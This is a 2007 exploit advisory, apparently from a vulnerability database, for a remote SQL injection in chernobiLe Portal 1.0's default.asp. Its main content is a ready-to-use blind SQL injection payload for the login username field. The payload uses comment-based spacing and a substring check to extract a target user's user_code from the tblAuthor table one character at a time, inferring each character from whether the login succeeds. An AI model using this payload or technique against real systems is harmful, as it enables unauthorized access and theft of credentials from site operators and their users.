chernobiLe Portal 1.0 (default.asp) Remote SQL Injection Vulnerability

🗓️ 28 Jan 2007 00:00:00Reported by RootType

chernobiLe Portal 1.0 (default.asp) SQL Injection Vulnerability. Method: One Char Brute Force Techniqu


                                                *******************************************************************************
#&nbsp;Title&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;chernobiLe&nbsp;Portal&nbsp;1.0&nbsp;(default.asp)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability
#&nbsp;Author&nbsp;&nbsp;:&nbsp;&nbsp;ajann
#&nbsp;Contact&nbsp;:&nbsp;&nbsp;:(
#&nbsp;$$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;Not&nbsp;Free,Private


#&nbsp;Info&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;/*
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Turk&nbsp;Script&nbsp;Eklememen&nbsp;konusunda&nbsp;guzelce&nbsp;uyarmistim,ukalaca&nbsp;tamam&nbsp;demistin
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fakat&nbsp;hala&nbsp;birsey&nbsp;bulmus&nbsp;gibi&nbsp;bazi&nbsp;sitelerde&nbsp;bu&nbsp;raporlarin&nbsp;basligini
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;aciyorsun.Urastigin&nbsp;konuda&nbsp;bari&nbsp;acik&nbsp;birakma.Havani&nbsp;atmaya&nbsp;dvm&nbsp;et.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*\

*******************************************************************************

[[SQL]]]

http://[target]/[path]//default.asp&nbsp;(POST&nbsp;Method)&nbsp;[SQL]

Example:

Method:&nbsp;One&nbsp;Char&nbsp;Brute&nbsp;Force&nbsp;Technique

First,Please&nbsp;Register&nbsp;Before:

User:[username]'/**/and/**/(substring((SELECT/**/user_code/**/FROM/**/tblAuthor/**/WHERE/**/username='targetuser'),1,1))='A'/*
Pass:[userpass]

If&nbsp;Login&nbsp;True&nbsp;Then&nbsp;First&nbsp;Character&nbsp;=&nbsp;A
elSe&nbsp;Continue...

[[/SQL]]

&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
#&nbsp;ajann,Turkey
#&nbsp;...

#&nbsp;Im&nbsp;not&nbsp;Hacker!

28 Jan 2007 00:00Current

7.1High risk

Vulners AI Score7.1